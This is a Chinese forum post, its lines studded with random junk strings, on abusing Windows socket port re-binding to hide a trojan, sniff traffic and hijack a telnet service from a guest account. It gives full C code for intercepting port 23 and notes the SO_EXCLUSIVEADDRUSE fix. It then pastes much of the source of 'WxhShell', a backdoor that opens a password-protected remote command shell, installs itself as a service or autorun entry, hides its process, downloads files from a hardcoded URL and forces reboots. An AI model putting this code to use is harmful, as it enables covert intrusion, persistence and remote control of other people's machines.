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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y8t Nwh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o6/Rx#A  
Lv^a+'  
  saddr.sin_family = AF_INET; oX#9RW/ >I  
}`4K)(>4nG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BM.-X7)  
&E`9>&~J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GA7u5D"0  
wYa0hNd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CR.bMF}  
bt0djJRw  
  这意味着什么?意味着可以进行如下的攻击: B0S8vU  
"zXGp7Q'#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )2#vhMpdN  
(UXv,_"nU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bD  d_}  
?C FS}v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bmmb  
_qEWu Do  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >QA/Mi~R  
`~0P[>|+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !W 0P `i<  
}z8{B3K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dEL3?-;'  
TLXhE(o|o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SHytyd  
u0wn=Dg  
  #include S_ZLTcq<1  
  #include `:V}1ioX5  
  #include Q%+ }  
  #include    e21E_exM0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,I/2.Q})[  
  int main() b{zAJ`|#[n  
  { Wk7L:uK  
  WORD wVersionRequested; 0`V3s]%iu  
  DWORD ret; Zlr{L]c  
  WSADATA wsaData; ~6\& y  
  BOOL val; B:B8"ODV  
  SOCKADDR_IN saddr; t1G1(F#&%  
  SOCKADDR_IN scaddr; Czq1 kz  
  int err; ]z+*?cc  
  SOCKET s; N[#iT&@T}/  
  SOCKET sc; lb-S0plw  
  int caddsize; y;zt_O/  
  HANDLE mt; -08&&H  
  DWORD tid;   14mXx}O  
  wVersionRequested = MAKEWORD( 2, 2 ); AD~~e% s=  
  err = WSAStartup( wVersionRequested, &wsaData ); 9Q,Msl4n  
  if ( err != 0 ) { zJz82jMm  
  printf("error!WSAStartup failed!\n"); 3Ne9% "  
  return -1; *?EO n-  
  } LDT'FwMjy  
  saddr.sin_family = AF_INET; DZ%g^DRZX  
   Pd)K^;em  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <$RS*n  
Uuwq7oFub  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Cf.pTYSl  
  saddr.sin_port = htons(23); %KbBH:z05  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IyrZez  
  { "z^BKb5  
  printf("error!socket failed!\n"); Y&oP>n! ei  
  return -1; [ c ~LY4:  
  } VQ1?Db(_2  
  val = TRUE; z*Myokhf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2neF<H?^o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sf+(1_^`t  
  { hEyX~f  
  printf("error!setsockopt failed!\n"); Hv[d<ylO  
  return -1; OVDMC4K2z!  
  } -_y~rx >  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D=i0e8D!+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [_g#x(=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ",MK'\E  
y8<lp+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :J=+;I(UI  
  { Gk{ "O%AE  
  ret=GetLastError(); R-g>W  
  printf("error!bind failed!\n"); O0K@M  
  return -1; M3ecIVm8(  
  } C5:dO\?O  
  listen(s,2); "'Q"(S  
  while(1) H3 A]m~=3  
  { zPX=MfF  
  caddsize = sizeof(scaddr); ~ERRp3Ee ?  
  //接受连接请求 oiTMP`Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M^|"be~{'  
  if(sc!=INVALID_SOCKET) 9J-!o]f .b  
  { vSyi}5D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FT|/ WZR  
  if(mt==NULL) 7$q2v=tH_  
  { 'T&=$9g7  
  printf("Thread Creat Failed!\n"); &J5-'{U|0  
  break; ]X >QLD0W  
  } ="#:=i]  
  } %S(#cf!HP  
  CloseHandle(mt); J { GFb  
  } #VQGN2bK.  
  closesocket(s); 'gk81@|  
  WSACleanup(); D]G'R5H  
  return 0; }\`-G+i{W  
  }   ^|F Vc48{  
  DWORD WINAPI ClientThread(LPVOID lpParam) NE=#5?6%g7  
  { .(MbP  
  SOCKET ss = (SOCKET)lpParam; RAD4q"}k  
  SOCKET sc; ery?G-  
  unsigned char buf[4096]; `aO@N(  
  SOCKADDR_IN saddr; (IoPU+1b  
  long num; SBN_>;$c5}  
  DWORD val; JEm?26n X  
  DWORD ret; ^;Hi/KvM\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !"Oj$c -  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UuOLv;v  
  saddr.sin_family = AF_INET; ?|Q5]rhs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "dLMBY~  
  saddr.sin_port = htons(23); :C|>y4U&(s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t_zY0{|P  
  { S}v{^vR  
  printf("error!socket failed!\n"); 9(N)MT5F  
  return -1; .J1Hg  
  } {-v\&w  
  val = 100; &, Zz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E-tNB{r@  
  { `!Ge"JB6   
  ret = GetLastError(); _#^A:a^e8  
  return -1; ku[=QsMv  
  } ax{-Qi7z-+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0oi5]f6g?8  
  { $5Y^fwIK  
  ret = GetLastError(); P^_d$  
  return -1; g]@R'2:1  
  } 1n"+~N^\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qK6  uU9z  
  { vRb(eg  
  printf("error!socket connect failed!\n"); YnO1Lf@  
  closesocket(sc); P=SxiXsr$  
  closesocket(ss); dl7p1Cr  
  return -1; C_^R_  
  } $ Op/5j  
  while(1) dn)tP6qc/  
  { :DX/r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4}_w4@(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TNyY60E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %dk$K!5D0  
  num = recv(ss,buf,4096,0); 1(;33),P8  
  if(num>0) )oxP.K8q)U  
  send(sc,buf,num,0); jXDzjt94J  
  else if(num==0) c;~Llj P  
  break; C@?e`=9(  
  num = recv(sc,buf,4096,0); /wxxcq  
  if(num>0) z`r4edk3  
  send(ss,buf,num,0); .&yWHdQC:  
  else if(num==0) wmcp`8w.  
  break; 7quwc'!  
  } l& ^B   
  closesocket(ss); -ZoOX"N}  
  closesocket(sc); k}0  
  return 0 ; +!V%Q  
  } "RJk7]p`*  
I{g2q B$6  
2,e|,N"zN  
========================================================== A[$wxdc  
c{4nW|/W  
下边附上一个代码,,WXhSHELL 9B;Sk]y  
]zMBZs  
========================================================== 0!'M#'m  
{FmFu$z+[  
#include "stdafx.h" ,l? 76g  
cp?P@-  
#include <stdio.h> Tx?@* Q  
#include <string.h> ]aW.b_7<9  
#include <windows.h> O>F.Wf5g  
#include <winsock2.h> Umwg iw  
#include <winsvc.h> 0JRB Nh  
#include <urlmon.h> Joo)GIB  
5sCk y)N  
#pragma comment (lib, "Ws2_32.lib") r`g;k&"a  
#pragma comment (lib, "urlmon.lib") rMFZ#38d  
Y(yJ|y&  
#define MAX_USER   100 // 最大客户端连接数 i\z0{;f|GX  
#define BUF_SOCK   200 // sock buffer PaeafL65=  
#define KEY_BUFF   255 // 输入 buffer Pk]9.e1_  
Ay6rUN1ef  
#define REBOOT     0   // 重启 ?# c@Ag %  
#define SHUTDOWN   1   // 关机 `V_/Cz_}D  
:3*oAh8|  
#define DEF_PORT   5000 // 监听端口 %mv x}xV  
NGQIoKC  
#define REG_LEN     16   // 注册表键长度 z iGL4c0p  
#define SVC_LEN     80   // NT服务名长度 l45F*v]^  
:Du{8rV  
// 从dll定义API u]-El}*[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K~%5iVO~\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U"kK]Stk<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 'pQ,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cv7RCjMw  
~HI0<;r=eL  
// wxhshell配置信息 s ;Nu2aOp7  
struct WSCFG { XUNgt(OGR'  
  int ws_port;         // 监听端口 5h^qtK  
  char ws_passstr[REG_LEN]; // 口令 (9_e >2_  
  int ws_autoins;       // 安装标记, 1=yes 0=no &>4$ [m>n  
  char ws_regname[REG_LEN]; // 注册表键名 9U1!"/F  
  char ws_svcname[REG_LEN]; // 服务名 g#3x)97Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |wn LxI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F7Yuky  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e14 Q\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I}0 -  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I,?LZ_pK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pG=zGx4  
4qR Q,g{$T  
}; ]b=A/*z  
Yy~Dg  
// default Wxhshell configuration G%/cV?18  
struct WSCFG wscfg={DEF_PORT, Y k6WSurw  
    "xuhuanlingzhe", RXvcy<  
    1, H$iMP.AK  
    "Wxhshell", \/%Q PE8  
    "Wxhshell", WW@"75t  
            "WxhShell Service", N5]68Fu'({  
    "Wrsky Windows CmdShell Service", HY#("=9< h  
    "Please Input Your Password: ", 8(K~QvE~  
  1, ]@]"bF!Dn  
  "http://www.wrsky.com/wxhshell.exe", @,$HqJ  
  "Wxhshell.exe" @].aFhH`)  
    }; |8+rUFkU8  
L| qY  
// 消息定义模块 ArKrsI#H-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zMg^2{0L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mM~Q!`Nf.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n!orM5=:O  
char *msg_ws_ext="\n\rExit."; Y(mwJud|  
char *msg_ws_end="\n\rQuit."; UM^hF%  
char *msg_ws_boot="\n\rReboot..."; 5S?Xl|8E  
char *msg_ws_poff="\n\rShutdown..."; Ek\Zi#f<  
char *msg_ws_down="\n\rSave to "; w5R9\<3L  
YWd(xm"4  
char *msg_ws_err="\n\rErr!"; r2`?Ta  
char *msg_ws_ok="\n\rOK!"; aq**w?l  
TK1M mL  
char ExeFile[MAX_PATH]; aa3YtNpP  
int nUser = 0; F&Z>B};  
HANDLE handles[MAX_USER]; N.J:Qn`(  
int OsIsNt; EE{%hGb  
sA j$U^Gp  
SERVICE_STATUS       serviceStatus; 1x 8]&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :udZfA\sW  
"q8 'tN><  
// 函数声明 duTSU9  
int Install(void); )2\a5iH  
int Uninstall(void); PkO(Y!  
int DownloadFile(char *sURL, SOCKET wsh); O$\N]#  
int Boot(int flag); L(YT6Vmm+t  
void HideProc(void); 32J  
int GetOsVer(void); r8E!-r}rno  
int Wxhshell(SOCKET wsl); LDNUywj@w  
void TalkWithClient(void *cs); &$ 9bC 't6  
int CmdShell(SOCKET sock);  n6dg   
int StartFromService(void); a#@ opUn-  
int StartWxhshell(LPSTR lpCmdLine); |LhuZ_;1xo  
#`EMK   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }zLE*b,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3*L,48wX  
'c]&{-w<i  
// 数据结构和表定义 z#ET-[ I  
SERVICE_TABLE_ENTRY DispatchTable[] = /;J;,G`?  
{ V!4E(sX  
{wscfg.ws_svcname, NTServiceMain}, ;">hCM7  
{NULL, NULL} ttOsL')|  
}; DenCD9 f  
8A=(,)`}9  
// 自我安装 6Vo}Uaq4  
int Install(void) 83|/sWrvh  
{ @ZWKs  
  char svExeFile[MAX_PATH]; /$Jh5Bv  
  HKEY key; f:>jH+o.S  
  strcpy(svExeFile,ExeFile); D-/A>  
)oCF| 2qc  
// 如果是win9x系统,修改注册表设为自启动 U^S0H(>  
if(!OsIsNt) { n+w>Qz'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @B <_h+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WbF\=;$=7  
  RegCloseKey(key); Ro69woU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -R]S)Odml  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "^%Il  
  RegCloseKey(key); 2^:nlM{u  
  return 0; 5^i ^?  
    } P^r8JhDJ  
  } q1j[eru  
} "5FeP;  
else { 37DvI&  
SJmri]4K  
// 如果是NT以上系统,安装为系统服务 23m+"4t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Obm\h*$  
if (schSCManager!=0) :>u{BG;=79  
{ e!y t<[ph  
  SC_HANDLE schService = CreateService 0Oq1ay^  
  ( mNzZ/*n:  
  schSCManager, e78}  
  wscfg.ws_svcname, 6I<`N  
  wscfg.ws_svcdisp, ^  +G> N  
  SERVICE_ALL_ACCESS, ud1E@4;qf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?6gI8K6X  
  SERVICE_AUTO_START, QS_xOQ '  
  SERVICE_ERROR_NORMAL, 1U!CD-%(  
  svExeFile, 5,3h'\ "!  
  NULL, h&P[9:LH  
  NULL, N~_gT Jr~P  
  NULL, :8FH{sqR  
  NULL, z%z$'m  
  NULL +xa2e?A%L  
  ); YrX{,YtiX  
  if (schService!=0) G5Nub9_*X  
  { y+_U6rv[  
  CloseServiceHandle(schService); 4ai3@f5  
  CloseServiceHandle(schSCManager); G9TUU.T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  K!j2AP3  
  strcat(svExeFile,wscfg.ws_svcname); W&nVVV8s@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a7ty&[\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v2^CBKZ+  
  RegCloseKey(key); >{[J+f{~|  
  return 0; y[# U/2  
    } Z~ (QV0}  
  } j&r5oD;  
  CloseServiceHandle(schSCManager); ofV{SeD67  
} ^B7Aam  
} )deuB5kz  
2P*O^-zRp  
return 1;  }#1g;  
} i@6 kI C  
uQ}kq7gd  
// 自我卸载 !{+(oDN  
int Uninstall(void) &^"m6  
{ V3S`8VI  
  HKEY key; ftbu:RtK^^  
@r<w|x}  
if(!OsIsNt) { !|]%^G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bZ=d!)%P-{  
  RegDeleteValue(key,wscfg.ws_regname); }j QwP3eY  
  RegCloseKey(key); QH eUpJ/^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u<[Y6m  
  RegDeleteValue(key,wscfg.ws_regname); l%fl=i~oN  
  RegCloseKey(key); ;iWCV& >w  
  return 0; W NCdk$  
  } L=>N#QR7  
} *Co+UJjT  
} o_S8fHqjt  
else { W/+0gh7`,(  
}5|uA/B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q>?oV(sF  
if (schSCManager!=0) JL1Whf  
{ d+kIof,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); is,_r(S  
  if (schService!=0) vU _#(jZ  
  { b=sc2 )3?  
  if(DeleteService(schService)!=0) { .Q7z<Q  
  CloseServiceHandle(schService); >:.Bn8-  
  CloseServiceHandle(schSCManager); 3s+D x$Ud  
  return 0; 2KU [Yd  
  } nX~sVG{Q  
  CloseServiceHandle(schService); Y0DBkg  
  } &( Z8G~h4  
  CloseServiceHandle(schSCManager); s;L7 _.hH@  
} @jfd.? RK!  
} /Bc ;)~  
K=;p^dE  
return 1; KQh'5o&  
} Q'Q^K  
{Q0"uE)-.  
// 从指定url下载文件 dPS}\&1  
int DownloadFile(char *sURL, SOCKET wsh) a"}?{  
{ w%htY.-  
  HRESULT hr; {ES3nCL(8  
char seps[]= "/"; N:0mjHG  
char *token; 7yKadM~)  
char *file; >R6Me*VR  
char myURL[MAX_PATH]; E/ Pa0.  
char myFILE[MAX_PATH]; L(iWFy1& T  
hTF]-& hZ  
strcpy(myURL,sURL); W n|w~{d{  
  token=strtok(myURL,seps); ) Limt<S  
  while(token!=NULL) =2< >dM#`  
  { 75a3H`  
    file=token; h_J 'dJS  
  token=strtok(NULL,seps); ,oR}0(^"\<  
  } 3]T2Zp&;  
SOd(& >  
GetCurrentDirectory(MAX_PATH,myFILE); hD"Tjd` P  
strcat(myFILE, "\\"); 1 #_R`(C{  
strcat(myFILE, file); /.vB /{2  
  send(wsh,myFILE,strlen(myFILE),0); N[Fz6,ZG _  
send(wsh,"...",3,0); 3ILEc:<0J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y.ic=<0H  
  if(hr==S_OK) +Oo>V~  
return 0; x.!%'{+ {  
else ~qRP.bV%f  
return 1; #=h~Lr'UH  
Q\}5q3  
} hW]:CIqk  
7 'N&jI   
// 系统电源模块 rTQrlQ:@  
int Boot(int flag) r'"H8>UZ%  
{ %1S;y  
  HANDLE hToken; (2 X`imJ  
  TOKEN_PRIVILEGES tkp; tONxV`  
v]BN.SHE_  
  if(OsIsNt) { `uY77co6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (c_E*>c)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ! fY'^Ya?  
    tkp.PrivilegeCount = 1; :9 .ik  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ><%z~s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >Qr(#Bt)  
if(flag==REBOOT) { (Zp'|hx8o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Que-  
  return 0; YajUdpJi  
} //xxSk  
else { |?g k%g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (wkeo{lx  
  return 0; K^> +"  
} ki39$A'8  
  } "??$yMW  
  else { 46sV\In>?  
if(flag==REBOOT) { rF'q\tJDz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3nMXfh/  
  return 0; w!7Hl9BW  
} ZJ1 %  
else { ry0P\wY}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !IF#L0z  
  return 0; Cjdw@v0;  
} M"W-|t)~  
} _DS_AW}D  
!{jDZ?z{h  
return 1; qq G24**9v  
} 7vZznN8e  
r$d,ChzQn?  
// win9x进程隐藏模块 zyTeF~_  
void HideProc(void) Xi$2MyRd  
{ [5yLg  
cyL"?vR*<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g m'8,ZL  
  if ( hKernel != NULL ) #!qa#.Yi  
  { Xgou7x<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3w6}%=)$8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F$X"?fj  
    FreeLibrary(hKernel); ?U$H`[VF}  
  } A&XI1. j6  
`ZhDoLpH<  
return; hX;JMQ915  
} e'Njl?>3  
5 o-WA1  
// 获取操作系统版本 7,X5]U&A<x  
int GetOsVer(void) s|FfBG  
{ bLuAe EA  
  OSVERSIONINFO winfo; .'aW~WR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XnR9/t  
  GetVersionEx(&winfo); /x\{cHAt8J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  UDl[  
  return 1; ,ELbm  
  else \iVb;7r)9:  
  return 0; vr/*z euA  
} O1[`2kj^HB  
ai0am  
// 客户端句柄模块 Q*&k6A"jx  
int Wxhshell(SOCKET wsl) 3 vr T`  
{ W~b->F  
  SOCKET wsh; 2"~|k_  
  struct sockaddr_in client; @M=xdZNyJ  
  DWORD myID; B*B}eXUph  
xO3-I@  
  while(nUser<MAX_USER) f_'#wc6  
{ $^~dqmE2,  
  int nSize=sizeof(client); _!_%Afz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xYSNop3_  
  if(wsh==INVALID_SOCKET) return 1; _=$:<wIE[  
, !0-;H.Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {5`=){  
if(handles[nUser]==0) q.I  
  closesocket(wsh); @,kR<1  
else )/Z% HBn  
  nUser++; PLoD^3uG)  
  } fRlO.!0(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jxeZ,w o  
*e/8uFX  
  return 0; |&wwH&<[z  
} pT ]:TRPS  
'Sk-L 5  
// 关闭 socket z"D'rHxy  
void CloseIt(SOCKET wsh) Lgr(j60s  
{ q#pD}Xe$  
closesocket(wsh); 2":{3=oW~  
nUser--; %OT} r  
ExitThread(0); #z$g1\v  
} :9?y-X  
u?xXZ]_u-  
// 客户端请求句柄 L JW0UF|  
void TalkWithClient(void *cs) s[2>r#M  
{ s\/$`fuhx  
J A!?vs  
  SOCKET wsh=(SOCKET)cs; >/J!:Htk+K  
  char pwd[SVC_LEN]; 0*y|k1  
  char cmd[KEY_BUFF]; <e)u8+(  
char chr[1]; 7:Cq[u fl  
int i,j; Le,e,#hiY  
6Z ,GD  
  while (nUser < MAX_USER) { ;Gnk8lIsb  
NLnfCY-h  
if(wscfg.ws_passstr) { ^t0Yh%V7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lE|Hp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2,T^L (]  
  //ZeroMemory(pwd,KEY_BUFF); &[#iM0;)W0  
      i=0; 9lU"m_ QT4  
  while(i<SVC_LEN) { &GKtD)  
V =9  
  // 设置超时 K."%PdC  
  fd_set FdRead;  iup "P  
  struct timeval TimeOut; CQ;.}=j ,  
  FD_ZERO(&FdRead); |g)/6jG<-  
  FD_SET(wsh,&FdRead); (:h#H[F  
  TimeOut.tv_sec=8; mto=_|gn  
  TimeOut.tv_usec=0; { VK   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rP%B#%;S"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sR;^7(f!m  
Lkf}+aY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _-6IB>  
  pwd=chr[0]; 5yl[#>qt  
  if(chr[0]==0xd || chr[0]==0xa) { I_"Kh BM  
  pwd=0; 8slOB>2#Y  
  break; D:Rr|m0Tk  
  } <h"07.y  
  i++; P,RdY M06  
    } _+=M)lPm  
V(#z{!  
  // 如果是非法用户,关闭 socket DuvI2Z WP]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (?W[#.=7  
} q\uzmOh  
#t8{z~t3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )}3!iDA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W`k||U9  
9$Dsm@tX  
while(1) { nm}wdel"  
@hVF}ybp  
  ZeroMemory(cmd,KEY_BUFF); GeydVT-  
MGbl-,]  
      // 自动支持客户端 telnet标准   +!6dsnr8  
  j=0; ]Oh8LcE#BF  
  while(j<KEY_BUFF) { %G43g#pD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P-Up v6J3  
  cmd[j]=chr[0]; %pd-{KR  
  if(chr[0]==0xa || chr[0]==0xd) { @a]O(S>Ub  
  cmd[j]=0; }<=4A\LZ  
  break; ,Nk{AiiN  
  } 5&Vp(A[m[  
  j++; Ms61FmA4  
    } ZvVrbj&  
JlMD_pA  
  // 下载文件 -F338J+J24  
  if(strstr(cmd,"http://")) { 5JvrQGvL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oU[>.Igi  
  if(DownloadFile(cmd,wsh)) S`t@L}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z4B-fS]  
  else vj#Y /B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Z,a3)jcc  
  } 7Z7e}| \W  
  else { o?]N2e&(  
wR@"]WkR=  
    switch(cmd[0]) { :=cZ,?PQp1  
  %HWebZ-yY  
  // 帮助 4Rv.m* ^B  
  case '?': { drkY~!a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bw[s<z|LKA  
    break; ZNN^  
  } sgxD5xj}4  
  // 安装 zQ>|`0&8   
  case 'i': { a`t <R  
    if(Install()) *wu:fb2[(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W3~xjS"h  
    else xp68-&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *;u'W|"/~  
    break; 8p0ZIrD%  
    } G\4*6iw:  
  // 卸载 l2|[  
  case 'r': { T=~D>2C  
    if(Uninstall()) _Yqog/sG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lXnzomU  
    else sngM4ikhs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bkaupvv9S  
    break; ]Te,m}E  
    } xa&5o`>1G  
  // 显示 wxhshell 所在路径 Y Z.? k4>  
  case 'p': { -#agWqUM|T  
    char svExeFile[MAX_PATH]; ]ML(=7z"  
    strcpy(svExeFile,"\n\r"); M[1!#Q><!  
      strcat(svExeFile,ExeFile); IizPu4|  
        send(wsh,svExeFile,strlen(svExeFile),0); |08'd5  
    break; p~bx  
    } At$[&%}  
  // 重启 I|eYeJ3  
  case 'b': { Mv%"aFC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E/5/5'gBJO  
    if(Boot(REBOOT)) VxTrL}{(6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-g"`w:Lj  
    else { (;6vT'hE  
    closesocket(wsh); uJ@C-/BD!M  
    ExitThread(0); _Gb O>'kE  
    } X={Z5Xxr"  
    break; 1Ht&;V  
    } kH|cB!?x  
